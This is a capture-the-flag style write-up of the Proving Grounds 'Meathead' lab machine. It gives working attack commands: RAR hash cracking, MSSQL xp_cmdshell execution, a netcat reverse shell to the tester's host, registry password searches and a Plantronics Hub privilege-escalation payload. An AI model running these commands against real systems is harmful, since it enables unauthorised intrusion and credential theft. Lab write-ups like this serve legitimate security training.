> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/try-harder/meathead.md).

# Meathead

Writeup for Meathead from Offensive Security Proving Grounds (PG)

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.75.70 -t full`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madi32VwwXfyMgcMDvs%2F605561df97f64596b04a92974b9a0ac1.png?alt=media\&token=df1ba8d1-2821-4dbc-9a38-361faec4b191)

`nmapAutomator.sh -H 192.168.75.70 -t vulns`

### HTTP (80)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madi5qKGYQ98UYhWTX-%2F1f279e31ab6d46899ec3ecaa557b7da5.png?alt=media\&token=206cc2f3-c174-48de-91d3-a711d68f510a)

Tried:

* SQL Injection

### SMB (139/445)

Tried:

* Null sessions

### FTP (1221)

* Without using passive mode, hangs on `150 Opening ASCII mode data connection`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiAHuXxbYqbCewo8I%2Fbe3a0fe5112d4f1e990ca139668517d2.png?alt=media\&token=3de8124c-14e7-42c8-8a09-ec667402d067)

* Using the `-p` parameter to force passive mode: `ftp -p 192.168.75.70 1221`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiDE2Y0-D8HlsNmzU%2F4996bd333b6149b398c9b605c9b3312e.png?alt=media\&token=04c01c19-6193-4c6a-84e7-565178f4c82e)

The `MSSQL_BAK.rar` looks interesting. It is password protected.

Extract the RAR hash: `rar2john MSSQL_BAK.rar > crackme`

Crack the hash: `john --wordlist=/usr/share/wordlists/rockyou.txt crackme`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiFxF8lNNb1ZQEgCG%2Fbe05f5aa3597411985b54766b63a2732.png?alt=media\&token=6011f118-4532-402a-af1c-80b66817841f)

We find the password `letmeinplease`.

Unrar the file: `unrar e MSSQL_BAK.rar`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiJY8PIet1KhHCNX7%2Ffef40f15c15949d39d59d7cc6bd8c623.png?alt=media\&token=710ea26a-a29f-4255-8fe1-b64768bbbb50)

Inside the archive is a text file.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiM33OKgpm9X1QXMD%2Fbcac23cee86b494f93ef89be31b4837c.png?alt=media\&token=4f9f73c8-4c22-414b-bcd3-3a2c21e016cf)

The credentials are `sa:EjectFrailtyThorn425`.

### MSSQL (1435)

Using the previously found credentials, login using `mssqlclient.py`.

`mssqlclient.py -p 1435 sa:EjectFrailtyThorn425@192.168.217.70`

## Exploitation

Once in, we can enable code execution using the `enable_xp_cmdshell` command.

Then, execute a command: `xp_cmdshell whoami /all`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiRJx7UfchG3jku24%2F297d64d77c6d4e5eb204424014a897f0.png?alt=media\&token=e51771e7-88e8-4b50-bd7f-ad2036ff1316)

Transfer `nc.exe` to a writable directory:

`xp_cmdshell copy \\192.168.49.217\ROPNOP\nc.exe c:\Users\Public\nc.exe`

Then, trigger a reverse shell (try a few common ports, port 80 works in this case):

`xp_cmdshell c:\Users\Public\nc.exe -e cmd.exe 192.168.49.217 80`

Unfortunately we don't have access to `local.txt` just yet.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiTsm0AXvbXumS2aY%2Fe9b6a8ecb65f47859546a3a00267abc7.png?alt=media\&token=4960363c-aac9-4802-bea4-52c28eabfb1d)

Using `reg query HKLM /f pass /t REG_SZ /s`, we find an interesting password.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiWl3l-exHF-4dYag%2Fbf796dbfd552403f95a5201e9f2bbdc1.png?alt=media\&token=7053ef58-5aa6-4a54-ae15-f6e62f4b82a2)

Using the credentials `jane:TwilightAirmailMuck234`, we can RDP in as Jane.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madi_r57DvhV9obOIZj%2F68c1274ba7dc42ff94543a6045b0ad50.png?alt=media\&token=3fbcdda4-3253-43d5-be34-9943d71407d4)

## Privilege Escalation

On Desktop we find a Platronics Hub app (version 3.13.2)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadiiH2v4Au-NkFqtkO%2F769fd95617364c6bbd4383f512c466de.png?alt=media\&token=0230e8b2-de93-4f9c-981c-c958e360b112)

This version suffers from a local privilege escalation vulnerability: `https://www.exploit-db.com/exploits/47845`

Create a `MajorUpgrade.config` with the following contents:

```
jane|advertise|C:\Windows\System32\cmd.exe
```

Upon saving this file, we get a SYSTEM shell.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madiwle2_wzp96x5Te5%2F9cb912ba5a9a47849133f918ac7b380e.png?alt=media\&token=b6609e99-1104-4a8a-a9f7-87918c11620f)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madj2um8T-wHspKtTsz%2F23527fd64be54d63a0972e5317d20f5d.png?alt=media\&token=3fd6abc6-4327-4a79-ac91-3242f7f54e99)